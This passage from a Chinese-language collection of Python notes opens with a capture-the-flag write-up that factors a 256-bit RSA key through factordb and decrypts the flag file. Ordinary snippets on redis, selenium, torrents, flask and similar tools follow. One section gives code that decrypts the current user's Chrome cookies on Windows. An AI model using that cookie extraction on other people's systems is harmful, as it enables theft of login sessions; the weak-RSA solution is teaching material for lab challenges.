SEQUENCE\r\n    2:d=1  hl=2 l=  33 prim:  INTEGER           :C8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F\r\n   37:d=1  hl=2 l=   3 prim:  INTEGER           :010001\r\n```\r\n\r\n嗯~这样就看到十六进制的n和e啦，转为十进制的话python里面直接输入:\r\n\r\n```\r\nn = 0xC8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F\r\nprint(n) \r\n```\r\n\r\n上述python执行后将输出\r\n\r\n90499887424928873790510606439768063703452393541528122252967476339871041516831\r\n\r\n同理我们得知e=65537，一般RSA加密都会把公钥的e选为65537\r\n\r\n#### 怎么分解n 得到p和q？\r\n\r\n你可以自己写代码，然而我懒，直接查数据库：\r\n\r\n打开factordb.com这个神奇的网站，输入n的值就能查到分解结果啦：\r\n\r\nhttp://factordb.com/index.php?query=90499887424928873790510606439768063703452393541528122252967476339871041516831\r\n\r\n分解结果：\r\n\r\n```\r\n9049988742...31<77> = 283194537446483890135816972554288437117<39> · 319567913424286672035093410391626922443<39>\r\n```\r\n\r\n好了，我们就知道 p q了，具体哪个是p哪个是q并不重要\r\n\r\np=283194537446483890135816972554288437117, q=319567913424286672035093410391626922443\r\n\r\n#### 怎么计算私钥d\r\n\r\n根据RSA原理， d = e^-1 mod (p-1)\\*(q-1)， 现在我们有了p和q，mod后面的(p-1)\\*(q-1)自然是可以求出来的\r\n\r\n但e^-1是个啥玩意？倒数？ 倒数还能求模？\r\n\r\nemmm 其实是求逆元啦 然而不会写代码怎么办，当时是继续google啊\r\n\r\ngoogle关键词： python calculate inverse mod\r\n\r\n参考：https://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-python\r\n\r\n得到代码：\r\n\r\n```\r\ndef egcd(a, b):\r\n    if a == 0:\r\n        return (b, 0, 1)\r\n    else:\r\n        g, y, x = egcd(b % a, a)\r\n        return (g, x - (b // a) * y, y)\r\n\r\ndef modinv(a, m):\r\n    g, x, y = egcd(a, m)\r\n    if g != 1:\r\n        raise Exception('modular inverse does not exist')\r\n    else:\r\n        return x % m\r\n```\r\n\r\n看不懂这代码在干啥？我也看不懂，但没关系，直接用就行 这么多人点赞肯定是对的\r\n\r\n那现在就着手把这代码搬运到我们的py中咯：\r\n\r\n```\r\nN = 0xC8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F\r\ne = 0x10001\r\n\r\np = 283194537446483890135816972554288437117\r\nq = 319567913424286672035093410391626922443\r\n\r\ndef egcd(a, b):\r\n    if a == 0:\r\n        return (b, 0, 1)\r\n    else:\r\n        g, y, x = egcd(b % a, a)\r\n        return (g, x - (b // a) * y, y)\r\n\r\ndef modinv(a, m):\r\n    g, x, y = egcd(a, m)\r\n    if g != 1:\r\n        raise Exception('modular inverse does not exist')\r\n    else:\r\n        return x % m\r\n\r\nd = modinv(e, (p-1)*(q-1))\r\nprint(d)\r\n```\r\n\r\n上述python将输出34458919248694250828820386546500026880096887166581679876896066449320377773297， 真是一个好大的d啊。。。\r\n\r\n#### 怎么把flag.enc当成一个int读入？\r\n\r\n试图用记事本打开flag.enc，乱码了；那用二进制形式打开flag.inc文件看看：\r\n![](https://d.py3.io/img/15365186860.png)\r\n\r\nemmm一共32字节长的密文，直接读文件将得到bytes strig，怎么把它转为一个很大的整数呢？\r\n\r\ngoogle关键词： python byte string to int\r\n\r\n参考：https://stackoverflow.com/questions/444591/convert-a-string-of-bytes-into-an-int-python\r\n\r\n人家给出了python3.2以后可以用int.from_bytes的方式，继续写我们的py咯：\r\n\r\n```\r\nencrypteddata = open('flag.enc','rb').read()\r\nc = int.from_bytes(encrypteddata, 'big')\r\nprint(c)\r\n```\r\n\r\n这里的'big'表示大端存放的方式，就是最重要的那一位是靠左边的\r\n\r\n插一句：通过询问其他大佬，我也折腾出了一种naive的方法——使用binascii模块先转为hex编码，然后hex按16字节转int:\r\n\r\n```\r\nencrypteddata = open('flag.enc','rb').read()\r\nimport binascii\r\nc = int(binascii.b2a_hex(encrypteddata).decode(),16)\r\nprint(c)\r\n```\r\n\r\n#### 计算明文\r\n\r\n公式（密码学肯定要考的，所以再记一次咯）\r\n\r\n```\r\nm = c^d (mod n)\r\n```\r\n\r\n问题来了，d是个那么大的数，如果直接写一个：\r\n\r\n```\r\n# 在python里**表示乘方\r\nm = (c**d)%n\r\n```\r\n果然运行这个py就卡死了，实际上并没有必要算出精确的c\\*\\*d，我们需要调用快速的mod乘方的方法\r\n\r\ngoogle关键词： python mod pow\r\n\r\n参考：https://stackoverflow.com/questions/32738637/calculate-mod-using-pow-function-python\r\n\r\n人家说pow函数就可以提供第3个参数，例如pow(6, 8, 5)就是 6^8 mod 5\r\n\r\n那就写代码咯(瞎写，C语言的pow需要#include <math.h> 那我就也从math导入吧)：\r\n\r\n```\r\nfrom math import pow\r\nm = pow(c,d,n)\r\n```\r\n\r\n然而命途多舛，果然报错：\r\n\r\n```\r\nTraceback (most recent call last):\r\n  File \"run.py\", line 35, in <module>\r\n    m = pow(c,d,n)\r\nTypeError: pow expected 2 arguments, got 3\r\n```\r\n\r\nemmm... 奇了怪了，这是什么鬼嘛，说好的支持第三个参数呢，翻回去仔细看人家给的[文档链接](https://docs.python.org/3/library/functions.html#pow)\r\n\r\n嗯？这文档的标题就是Built-in Functions，我懂了！ 支持第三个参数的pow函数是内置的那个，而不是math库提供的，删掉`from math import pow`这一句就好了\r\n\r\n我们的py又加上了两行：\r\n\r\n```\r\nm = pow(c,d,n)\r\nprint(m)\r\n```\r\n得到输出 4114174865819530012247735243997890458185276719507135882385278623252053258\r\n\r\n### 明文这么一个大数 我要的flag呢？\r\n\r\ncy打开了他的笔记本 [https://py3.io/Python.html#bytes](https://py3.io/Python.html#bytes)\r\n\r\n查到了 十六进制字符串转bytes字符串 和 拿到一个int转字符串 的方法：\r\n\r\n```\r\nfrom base64 import b16decode\r\nprint( b16decode( hex(m)[2:].upper() ) )\r\n```\r\n\r\n果然 又tm出错了：\r\n\r\n```\r\nTraceback (most recent call last):\r\n  File \"run.py\", line 37, in <module>\r\n    print( b16decode( hex(m)[2:].upper() ) )\r\n  File \"/usr/lib/python3.5/base64.py\", line 276, in b16decode\r\n    return binascii.unhexlify(s)\r\nbinascii.Error: Odd-length string\r\n```\r\n\r\nodd-length啥意思？奇数长度？对噢 十六进制字符串肯定要偶数长度才行（两个一组表示一个字节嘛） 那么就前面补个0咯\r\n\r\npy代码如下：（其实你也可以试试int.to_bytes方法）\r\n\r\n```\r\nplaindata = hex(m)[2:].upper()\r\nif len(plaindata)%2 :\r\n    plaindata = \"0\"+plaindata\r\nprint(b16decode(plaindata))\r\n```\r\n\r\n输出：\r\n\r\n```\r\nb'\\x02T\\x1b:(\\x02\\xb9\\x8c8\\xbb\\x00CTF{256i3_n0t_SAfe}\\n'\r\n```\r\n\r\n啊哈！ 总算能搞定啦，flag到手！\r\n\r\n### 完整的代码\r\n\r\n```\r\n# parse public key: https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key\r\n# PUBKEY=`grep -v -- ----- public.pem | tr -d '\\n'`\r\n# echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i\r\n# echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i -strparse 17\r\n\r\n\r\nn = 0xC8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F\r\ne = 0x10001\r\nprint(n)\r\n# visit http://factordb.com/index.php?query=90499887424928873790510606439768063703452393541528122252967476339871041516831\r\np = 283194537446483890135816972554288437117\r\nq = 319567913424286672035093410391626922443\r\n\r\ndef egcd(a, b):\r\n    if a == 0:\r\n        return (b, 0, 1)\r\n    else:\r\n        g, y, x = egcd(b % a, a)\r\n        return (g, x - (b // a) * y, y)\r\n\r\ndef modinv(a, m):\r\n    g, x, y = egcd(a, m)\r\n    if g != 1:\r\n        raise Exception('modular inverse does not exist')\r\n    else:\r\n        return x % m\r\nd = modinv(e, (p-1)*(q-1))\r\nprint(d)\r\nencrypteddata = open('flag.enc','rb').read()\r\nimport binascii\r\nc = int(binascii.b2a_hex(encrypteddata).decode(),16)\r\nprint(c)\r\nc = int.from_bytes(encrypteddata, 'big')\r\nprint(c)\r\nm = pow(c,d,n)\r\nprint(m)\r\nfrom base64 import b16decode\r\nplaindata = hex(m)[2:].upper()\r\nif len(plaindata)%2 :\r\n    plaindata = \"0\"+plaindata\r\n\r\nprint(b16decode(plaindata))\r\n```\r\n\r\n----\r\n\r\n## 时间戳与字符串相互转换\r\n\r\nimport time\r\n\r\n得到当前时间戳： int(time.time())\r\n\r\n得到当前时间字符串：time.strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\n时间戳1381419600转字符串：time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime(1381419600))\r\n\r\n字符串\"2013-10-10 23:40:00\"转时间戳：int(time.mktime(time.strptime(\"2013-10-10 23:40:00\",\"%Y-%m-%d %H:%M:%S\")))\r\n\r\n----\r\n\r\n## 用redis存储字典\r\n\r\n假设存储一个用户名对应用户ID的字典，名称为USERS，例如{\"zhangsan\":1, \"lisi\":2}\r\n\r\n```python\r\nimport redis\r\nr = redis.StrictRedis(host='localhost', port=6379, db=1) #db参数可以理解为命名空间\r\nassert r.ping() # 是否成功连上\r\n\r\nUSERS = {\"zhangsan\":1, \"lisi\":2}\r\n\r\n# 存储字典\r\nr.hmset(\"USERS\", USERS)\r\n\r\n# 获得已经存储的字典里面有哪些键，返回bytes的list\r\nKEYS = r.hkeys(\"USERS\") \r\n\r\n# 获得整个字典并转换回原来的类型\r\nUSERS1 = {i.decode():int(j) for i,j in r.hgetall(\"USERS\").items()}\r\n\r\n# 修改字典中一个key的value\r\nr.hset(\"USERS\",\"zhangsan\",3)\r\n\r\n# 删除存储的字典，只能一个个删，先要hkeys获取有哪些键\r\n_=[r.hdel(\"USERS\", key) for key in r.hkeys(\"USERS\") ]\r\n\r\n# 扫描式获得已经存储的字典里面有哪些键\r\n## 如果字典里面存储了太多东西，执行KEYS会卡住整个redis，用hscan是更好的选择\r\n## 这里先生成一个比较大的字典存进去\r\nimport random, string\r\nrandomstr = lambda n: \"\".join(random.sample(string.ascii_letters, n))\r\nUSERS = {randomstr(10): random.randint(1,10000) for _ in range(10000)} # 生成一个1w条记录的字典\r\nr.hmset(\"USERS\", USERS) # 存进去\r\n\r\n## 循环hscan\r\ncursor, result = r.hscan(\"USERS\")\r\nwhile cursor:\r\n    cursor, tmp = r.hscan(\"USERS\", cursor)\r\n    result.update(tmp)\r\n\r\nUSERS2 = {i.decode():int(j) for i,j in result.items()} #从bytes转为原来的格式\r\nassert USERS==USERS2 #存进去的与取出来的应该相同\r\n```\r\n\r\n----\r\n\r\n## 搬运种子 从北邮人搬运到NexusHD\r\n\r\n代码： [code/autoseed_byr2nhd.py](code/autoseed_byr2nhd.py)\r\n\r\n依赖于[EasyLogin](https://github.com/zjuchenyuan/EasyLogin)，以及 `pip3 install transmissionrpc python-resize-image`\r\n\r\n运行需要提供byr和NHD的登录cookie，以及transmission连接信息\r\n\r\n----\r\n\r\n## python selenium+Docker chrome headless爬复杂网页\r\n\r\n例子：阿里云所有域名价格页面 https://wanwang.aliyun.com/help/price.html\r\n\r\n从网络请求看出其价格接口有多个，而且较为复杂；那就不妨试试用selenium让chrome headless访问这个页面，加载渲染完成后我们再获取页面源代码，此时源代码里面就有了完整的价格数据\r\n\r\n运行环境：只需要Docker和Python3，无需桌面环境\r\n\r\n镜像参考：https://hub.docker.com/r/selenium/standalone-chrome/\r\n\r\n先跑起来容器呗，这样就运行了selenium server，主机暴露了一个6666端口，：\r\n\r\n```\r\ndocker run -d -p 6666:4444 -v /dev/shm:/dev/shm selenium/standalone-chrome\r\n```\r\n\r\n安装Python包：`pip3 install selenium`\r\n\r\n调用代码，爬取url，得到网页源代码，其中127.0.0.1相应地修改为Docker主机的IP:\r\n\r\n```\r\nurl = \"https://wanwang.aliyun.com/help/price.html\"\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\r\ndriver = webdriver.Remote(\r\n    command_executor='http://127.0.0.1:6666/wd/hub',\r\n    desired_capabilities=DesiredCapabilities.CHROME)\r\ndriver.get(url)\r\nhtml = driver.page_source\r\nwith open(\"result.html\", \"w\", encoding=\"utf-8\") as fp:\r\n        fp.write(html)\r\ndriver.quit() #一定要记得清理掉Chrome进程 否则内存会占满\r\n```\r\n\r\n如果没有在代码里面清理Chrome进程，可以在浏览器里面进入Console，在这里可以看到当前运行的Session (Chrome进程) ，对当前页面查看页面截图：\r\nhttp://127.0.0.1:6666/wd/hub/static/resource/hub.html\r\n\r\n----\r\n\r\n## python丢弃root权限\r\n\r\n如果python需要监听80端口，简单方式就是直接用root权限启动，但启动后可以丢弃root权限来提高安全性\r\n\r\ncode from https://stackoverflow.com/questions/2699907/dropping-root-permissions-in-python\r\n\r\n```\r\nimport os, pwd, grp\r\n\r\ndef drop_privileges(uid_name='nobody', gid_name='nogroup'):\r\n    if os.getuid() != 0:\r\n        # We're not root so, like, whatever dude\r\n        return\r\n\r\n    # Get the uid/gid from the name\r\n    running_uid = pwd.getpwnam(uid_name).pw_uid\r\n    running_gid = grp.getgrnam(gid_name).gr_gid\r\n\r\n    # Remove group privileges\r\n    os.setgroups([])\r\n\r\n    # Try setting the new uid/gid\r\n    os.setgid(running_gid)\r\n    os.setuid(running_uid)\r\n```\r\n\r\n----\r\n\r\n## python transmissionrpc\r\n\r\n下述主要介绍[transmissionrpc](https://pythonhosted.org/transmissionrpc/)这个库的使用\r\n\r\n### 上传一个种子 开始下载\r\n\r\n使用Client的add_torrent方法，传入种子文件的base64\r\n\r\n```\r\ndef upload_transmission(thost, tport, tuser, tpassword, filename):\r\n    tc = transmissionrpc.Client(thost, port=tport, user=tuser, password=tpassword)\r\n    return tc.add_torrent(base64.b64encode(open(filename, \"rb\").read()).decode())\r\n```\r\n\r\n返回值是一个不完整的torrent对象\r\n\r\n### 获取完整的torrent对象\r\n\r\n```\r\ntorrent_id = torrent.id\r\nfull_torrent = tc.get_torrent(torrent_id)\r\n```\r\n\r\n其中就有状态和进度信息\r\n\r\n```\r\nprint(full_torrent.status, full_torrent.progress)\r\n```\r\n\r\n### 给种子增加一个tracker\r\n\r\n这样可以把pt站点的种子转到OpenTracker，无需重新校验种子（但传到新的pt站点infohash会变，只能传新种子重新校验）\r\n\r\ntransmissionrpc本身似乎没有暴露出trackerAdd的方法，这是结合浏览器和翻阅代码自己试出来的\r\n\r\n```\r\ntorrent._client._request('torrent-set', {\"trackerAdd\": [new_tracker_url]}, torrent.id, True)\r\n```\r\n\r\n### 修改一个.torrent文件的tracker\r\n\r\n使用torf库，这个库使用了python3.6才支持的特性，依赖于格式化字符串、dict遍历的有序性\r\n\r\n我修改后的版本下载，支持py3.5：https://d.py3.io/torf.zip\r\n\r\n代码：\r\n\r\n```\r\nt=torf.Torrent.read(torrent_filename)\r\nt.trackers=[[new_tracker_url]]\r\nt.write(\"new.torrent\")\r\n```\r\n\r\n----\r\n\r\n## uwsgi优雅重启\r\n\r\n参考：http://uwsgi-docs.readthedocs.io/en/latest/articles/TheArtOfGracefulReloading.html\r\n\r\n在uwsgi.ini中添加一行：\r\n\r\n```\r\nmaster-fifo = /tmp/uwsgififo\r\n```\r\n\r\n需要重启的时候就：\r\n\r\n```\r\necho r>/tmp/uwsgififo\r\n```\r\n\r\n文件打开方式必须是\"w\"而不能是\"a\"：\r\n\r\n```\r\nopen(\"/tmp/uwsgififo\", \"w\").write(\"r\")\r\n```\r\n\r\n## flask设置一堆静态目录\r\n\r\n```python\r\nfrom flask import Flask, render_template, Blueprint, request, redirect, Markup\r\napp = Flask(__name__)\r\nfor path in ['pic', 'skin', 'images', '更多静态目录']:\r\n    blueprint = Blueprint(path, __name__, static_url_path='/'+path, static_folder=path)\r\n    app.register_blueprint(blueprint)\r\n```\r\n\r\n----\r\n\r\n## Python3.5 open打开文件默认使用utf-8\r\n\r\nWindows下open打开文件总是会使用gbk，配置环境变量如PYTHONIOENCODING都没用，就很气，难道只能每次open都保证写上encoding=\"utf-8\"嘛？当然不必\r\n\r\ngoogle搜索关键词：windows python3 change open file encoding\r\n\r\n解决方案：参考：https://stackoverflow.com/questions/31469707/changing-the-locale-preferred-encoding-in-python-3-in-windows\r\n\r\n添加代码：由于只有windows才需要这么处理，所以先判断操作系统\r\n\r\n```\r\nimport sys\r\nif sys.platform.startswith(\"win\"):\r\n    import _locale\r\n    _locale._getdefaultlocale = (lambda *args: ['en_US', 'utf8'])\r\n```\r\n\r\n----\r\n\r\n## Python提取url 正则匹配的回溯爆炸问题\r\n\r\n提取url想遇到中文字符就不算入url中，写出了这样的正则(Python)，把中文加入到最后的排除字符：\r\n\r\n```\r\n_url_re = re.compile(r'(?im)((?:https?://|www\\d{0,3}[.]|[a-z0-9.\\-]+[.][a-z]{2,4}/)(?:[^\\s()<>，。（）]+|\\([^\\s()<>，。（）]+\\))+(?:\\([^\\s()<>，。（）]+\\)|[^\\u4e00-\\u9fa5，。（）\\s`!()\\[\\]{};:\\'\".,<>?]))')\r\n```\r\n\r\n然后实际运行的时候发现网站特定页面访问特别缓慢，CPU占用高，排除许久死循环后发现是这个正则花了太长的时间\r\n\r\n解决方案就是放弃使用正则来剔除中文，提取出含有中文字符的url后再做处理去掉中文字符（字节数>1的）\r\n\r\n现在使用的正则是：\r\n\r\n```\r\n_url_re = re.compile(r'(?im)((?:https?://|www\\d{0,3}[.]|[a-z0-9.\\-]+[.][a-z]{2,4}/)(?:[^\\s()<>]+|\\([^\\s()<>]+\\))+(?:\\([^\\s()<>]+\\)|[^\\s`!()\\[\\]{};:\\'\".,<>?]))')\r\n```\r\n\r\n提取后的处理代码：\r\n\r\n```\r\nstart, end = match.span()\r\nwhile len(data[end-1].encode(\"utf-8\"))>1:\r\n    end -= 1\r\n```\r\n\r\n现在改为更加保守的 从左往右遍历，遇到字节数>1的就终止url：\r\n\r\n```\r\nstart, end = match.span()\r\nnewend = start\r\nwhile newend<end and len(data[newend].encode(\"utf-8\"))==1:\r\n    newend += 1\r\nend = newend\r\n```\r\n\r\n----\r\n\r\n## ubuntu安装gmpy2\r\n\r\n```\r\napt install libmpc-dev libmpfr-dev\r\npip install gmpy2\r\n```\r\n\r\n辣鸡的官方文档都不提一下apt安装依赖库的事情，apt能搞定的为啥还要自己编译hhh\r\n\r\n支持python3 也可以-t .安装到当前目录，就是编译生成了一个so文件\r\n\r\n----\r\n\r\n## Flask模板 删去循环引入的多余空格\r\n\r\n在模板文件中写for循环的时候，产生的html会包含代码中的缩进空格，这可能会暴露代码的信息，所以有必要删去\r\n\r\n很简单 把 `{% %}`改为 `{%- -%}`即可\r\n\r\n```\r\n{%- for i in range(1,10) -%}\r\n    {{i}}\r\n{%- endfor -%}\r\n```\r\n\r\n----\r\n\r\n## 使用sentry\r\n\r\n在py文件一开始进行加载，会自动处理没有被handle的异常\r\n\r\n安装：pip install sentry_sdk\r\n\r\n```\r\nimport sentry_sdk\r\nfrom sentry_sdk import capture_message, capture_exception\r\nsentry_sdk.init(\"....\")\r\n```\r\n\r\n在出现了意外但是不严重可以pass的时候 代替`traceback.print_exc()`：\r\n\r\n```\r\ntry:\r\n    1/0\r\nexcept:\r\n    capture_exception()\r\n    capture_message(\"oho, 1/0 failed...\")\r\n    pass\r\n```\r\n\r\n如果是flask的应用 比如用户登录了，希望报错的时候顺带给出用户名：\r\n\r\n```\r\nfrom sentry_sdk import configure_scope\r\n@app.before_request\r\ndef before_request_session():\r\n    if \"username\" in session:\r\n        with configure_scope() as scope:\r\n            scope.user = {\"username\": session[\"username\"]}\r\n```\r\n\r\n### 不要过于依赖Sentry\r\n\r\n`capture_exception`和`capture_message` 都是同步调用 本质上是一个耗时的网络请求\r\n\r\n尤其在循环中触发 会导致页面加载速度显著变慢\r\n\r\n对于已经知道会有异常产生也不关心的，就不要抓住这种异常来损害性能了 pass就好了\r\n\r\n## 解决命令行执行py文件没有sys.argv的问题\r\n\r\n这是由于打开方式没有把%*加上的原因，修改注册表 regedit\r\n\r\n```\r\nHKEY_CLASSES_ROOT\\Python.File\\Shell\\open\\command\r\n```\r\n\r\n末尾加上`%*`即可，例如改为\r\n\r\n```\r\n\"C:\\Python37\\python.exe\" \"%1\" %*\r\n```\r\n\r\n你也可以用管理员权限的cmd来做修改：\r\n\r\n先查询.py的文件类型：`assoc .py`查到`.py=Python.File`\r\n\r\n然后查一下当前的运行命令：`ftype Python.File` 然后用`ftype Python.File=\"C:\\Python37\\python.exe\" \"%1\" %*`修改即可\r\n\r\n----\r\n\r\n## Python获取Windows Chrome的Cookie\r\n\r\n参考：https://github.com/cheezone/ZhihuVAPI/blob/34ef5881f83da0026119e3167ebe727619774c7b/ZhihuVAPI/util/Session.py#L18\r\n\r\nChrome的cookie用sqlite数据库存储，用WinAPI加密，当前用户任何程序都可以调用解密API来获取cookie\r\n\r\n```\r\nimport sqlite3\r\nimport glob\r\nimport os\r\nfrom win32.win32crypt import CryptUnprotectData\r\n\r\ndef getcookie(host):\r\n    result = []\r\n    for cookiepath in glob.glob(os.environ['LOCALAPPDATA'] + r\"\\*\\*\\User Data\\Default\\Cookies\")+glob.glob(os.environ['LOCALAPPDATA'] + r\"\\*\\User Data\\Default\\Cookies\"):\r\n        sql = \"select host_key,name,encrypted_value from cookies where host_key='%s'\" % host\r\n        with sqlite3.connect(cookiepath) as conn:\r\n            cu = conn.cursor()\r\n            cookies = {name: CryptUnprotectData(encrypted_value)[1].decode() for host_key, name, encrypted_value in cu.execute(sql).fetchall()}\r\n        result.extend([k+\"=\"+v for k, v in cookies.items()])\r\n    return result\r\n\r\n```\r\n\r\n调用如`getcookie(\".zhihu.com\")`\r\n\r\n-----------\r\n\r\n## Win开发摆脱每次都要写的encoding=utf-8\r\n\r\n在Windows上写代码，目标部署环境为linux，本机运行的时候不想每次读写文件都要写`encoding=\"utf-8\"`\r\n\r\n修改`C:\\Python38\\Lib\\site.py`，末尾加上：\r\n\r\n```\r\nimport _locale\r\n_locale._getdefaultlocale = (lambda *args: ['en_US', 'utf8'])\r\n```\r\n\r\n验证可以用：`python -c \"print(open('x','w').encoding)\"` 输出`utf8`而不是`cp936`即可\r\n\r\n参考： https://juejin.im/post/5bd2b6d5e51d45735c3c0453\r\n\r\n---------\r\n\r\n## Ubuntu16.04安装Python3.7\r\n\r\n并且设置为默认的python\r\n\r\n```\r\n    apt-key adv --keyserver keyserver.ubuntu.com --recv-keys BA6932366A755776 &&\\\r\n    echo \"deb http://ppa.launchpad.net/deadsnakes/ppa/ubuntu xenial main\" > /etc/apt/sources.list.d/python.list &&\\\r\n    apt update && apt install -y python3.7-dev &&\\\r\n    update-alternatives --install /usr/bin/python python /usr/bin/python3.7 50 &&\\\r\n    curl https://bootstrap.pypa.io/get-pip.py | python &&\\\r\n    pip install -U setuptools\r\n```\r\n\r\n但是在ubuntu 14.04上从这个ppa源安装的python没有_ssl的库，无法使用pip很迷（解决方案就是开了一个docker ubuntu16.04的容器继续）\r\n\r\n----\r\n\r\n## 判断代码是否卡住，自动发送KeyboardInterrupt\r\n\r\n场景： 跑爬虫等依赖网络的代码，遇到网络不佳的时候一直卡住不再执行，增加timeout设置确实是一种方法，有没有不用改代码的方式呢？\r\n\r\n依赖： `apt install inotify-tools`\r\n\r\nwatch.sh:\r\n\r\n```sh\r\n#!/bin/bash\r\nwhile true; do\r\n    inotifywait -e modify -t 100 $1\r\n    res=$?\r\n    if [ \"$res\" == \"2\" ]; then\r\n        echo \"[`date`] Time Out!\"\r\n        $2 || break\r\n    fi\r\n    sleep 60\r\ndone\r\n```\r\n\r\n用法：\r\n\r\n```\r\npython -u run.py >& log.txt &\r\nps #查看python进程的id, 假设为12345\r\n./watch.sh log.txt \"kill -SIGINT 12345\"\r\n```\r\n\r\n解释：python指定输出流不缓存，保证最新的print也能实时写入文件中\r\n\r\n然后使用inotifywait这个工具观察文件`$1`在100秒内有没有发生修改\r\n\r\n如果没有修改就执行用户提供的参数`$2`，这里是使用kill发送SIGINT信号\r\n\r\n在Linux里，用户按Ctrl+C就是BASH给当前前台的进程发送这个信号\r\n\r\n如果进程已经结束，那么kill会报错找不到进程，这时候我们就可以break跳出循环了\r\n\r\n如果发生了修改就歇一分钟后继续观察\r\n\r\n这个场景下允许延迟没必要一直观察，只要卡住的时候能发现即可（最迟160秒）\r\n\r\n当然爬虫代码需要处理异常，失败的时候继续下一次爬取或者重试即可\r\n\r\n----\r\n\r\n## 设置PYTHONSTARTUP环境变量 启动Python自动执行一些import\r\n\r\n经常启动Python当计算器用，但有些时候也需要执行quote之类的函数，每次都要手动import就很烦\r\n\r\n所以可以配置一个环境变量来让启动Python时自动执行这些import操作\r\n\r\n!!! Note\r\n    注意这个不会改变Python执行.py文件的行为，只在Python Interpreter中生效\r\n\r\nWindows在cmd里可以用setx设置环境变量，或者你也可以编辑注册表 `HKEY_CURRENT_USER\\Environment`\r\n\r\n参考： http://www.dowdandassociates.com/blog/content/howto-set-an-environment-variable-in-windows-command-line-and-registry/\r\n\r\n```\r\nsetx PYTHONSTARTUP d:\\myshell\\pyload.py\r\n```\r\n\r\n这个脚本需要快速加载，避免启动Python太慢，所以使用lazyload来把真正的import留到使用时：\r\n\r\n依赖： PYTHONUTF8=1使得windows的python读写文件默认也使用UTF8\r\n\r\n```\r\nset PYTHONUTF8=1\r\npip install lazy_import\r\n```\r\n\r\n先简要概括一下这个脚本提供了些啥：\r\n\r\n```\r\n标准库：time, sys, os, json, pickle, csv, requests, np(numpy), plt(matplotlib.pyplot)\r\n对象：a是EasyLogin(), sess是requests.session()\r\n函数： \r\n    pload(filename, default) 载入一个pickle文件\r\n    pdump(filename, data) 将data写入pickle文件\r\n    jload 用json读取文件\r\n    jload 用json写入文件\r\n    bd(b64_string) 解码base64字符串，返回str，自动补齐等号，不会Invalid base64-encoded string\r\n    hd(b16_string) hex decode 将hex字符串转为bytes\r\n    myprint 显示当前时间的print\r\n    md5 计算给定字符串的md5的32字节hex字符串\r\n    t() int(time.time())\r\n    d() 等价于date -d@xxx，将timestamp转为人类可读的格式，也支持毫秒的输入\r\n简写：\r\n    jl = json.loads\r\n    pp = pprint.pprint\r\n    sleep = time.sleep\r\n    leval = ast.literal_eval\r\n```\r\n\r\n```python\r\nimport _locale\r\n_locale._getdefaultlocale = (lambda *args: ['en_US', 'utf8'])\r\nimport time\r\nfrom time import sleep\r\nimport sys\r\nimport json\r\nimport pickle\r\n\r\ndef pload(filename, default=None, lib=pickle):\r\n    try:\r\n        res = lib.load(open(filename, \"rb\"))\r\n    except:\r\n        if default is None:\r\n            raise\r\n        return default\r\n    return res\r\n\r\ndef pdump(filename, data, lib=pickle):\r\n    open(filename, \"w\"+(\"b\" if lib==pickle else \"\")).write(lib.dumps(data))\r\n\r\ndef jload(filename, default=None):\r\n    return pload(filename, default=default, lib=json)\r\n\r\ndef jdump(filename, data):\r\n    return pdump(filename, data, lib=json)\r\n\r\nimport os\r\nimport csv\r\n\r\nfrom urllib.parse import quote, unquote\r\nfrom base64 import b64encode, b64decode, b16encode, b16decode\r\n\r\ndef bd(b64_string):\r\n    b64_string += \"=\" * ((4 - len(b64_string) % 4) % 4)\r\n    return b64decode(b64_string).decode()\r\n\r\njl=json.loads\r\n\r\ndef hd(b16_string):\r\n    return b16decode(b16_string.upper())\r\n\r\ndef myprint(*args, **kwargs):\r\n    args = list(args)\r\n    args[0] = \"[\"+time.strftime(\"%Y-%m-%d %H:%M:%S\")+\"] \"+str(args[0])\r\n    print(*args, **kwargs)\r\n\r\nimport lazy_import\r\nrequests = lazy_import.lazy_module(\"requests\")\r\nnumpy = np = lazy_import.lazy_module(\"numpy\")\r\nplt = lazy_import.lazy_module(\"matplotlib.pyplot\")\r\nel = EasyLogin = lazy_import.lazy_class(\"EasyLogin.EasyLogin\")\r\npp = pprint = lazy_import.lazy_function(\"pprint.pprint\")\r\nleval = lazy_import.lazy_function(\"ast.literal_eval\")\r\n\r\nimport hashlib\r\ndef _load_hashlib(name):\r\n    def f(s):\r\n        if isinstance(s, str):\r\n            s = bytes(s, \"utf-8\")\r\n        return getattr(hashlib, name)(s).hexdigest()\r\n    return f\r\nmd5 = _load_hashlib(\"md5\")\r\nsha1 = _load_hashlib(\"sha1\")\r\nsha512 = _load_hashlib(\"sha512\")\r\n\r\nclass _A():\r\n    def __getattr__(self, name):\r\n        global a\r\n        a=el()\r\n        return getattr(a, name)\r\na=_A()\r\n\r\nclass _sess():\r\n    def __getattr__(self, name):\r\n        global sess\r\n        sess=requests.session()\r\n        return getattr(sess, name)\r\nsess=_sess()\r\n\r\ndef t():\r\n    return int(time.time())\r\n\r\nfrom datetime import datetime, timedelta\r\ndef d(ts):\r\n    ts = int(ts)\r\n    if len(str(ts))==13:\r\n        ts = ts//1000\r\n    return datetime.fromtimestamp(ts).strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\ndef dutc(ts):\r\n    return datetime.utcfromtimestamp(ts).strftime(\"%Y-%m-%d %H:%M:%S\")\r\n```\r\n\r\n----\r\n\r\n## Python使用MongoDB\r\n\r\n爬取数据ajax接口返回的是json数据，懒得转换成mysql的表示，直接丢给mongo呗\r\n\r\n可视化客户端使用官方的[Compass](https://www.mongodb.com/try/download/compass)\r\n\r\n### 安装server\r\n\r\n```\r\ndocker run -d --name mongo -e MONGO_INITDB_ROOT_USERNAME=adminusername -e MONGO_INITDB_ROOT_PASSWORD=password -v /srv/mongo:/data/db -p 27017:27017 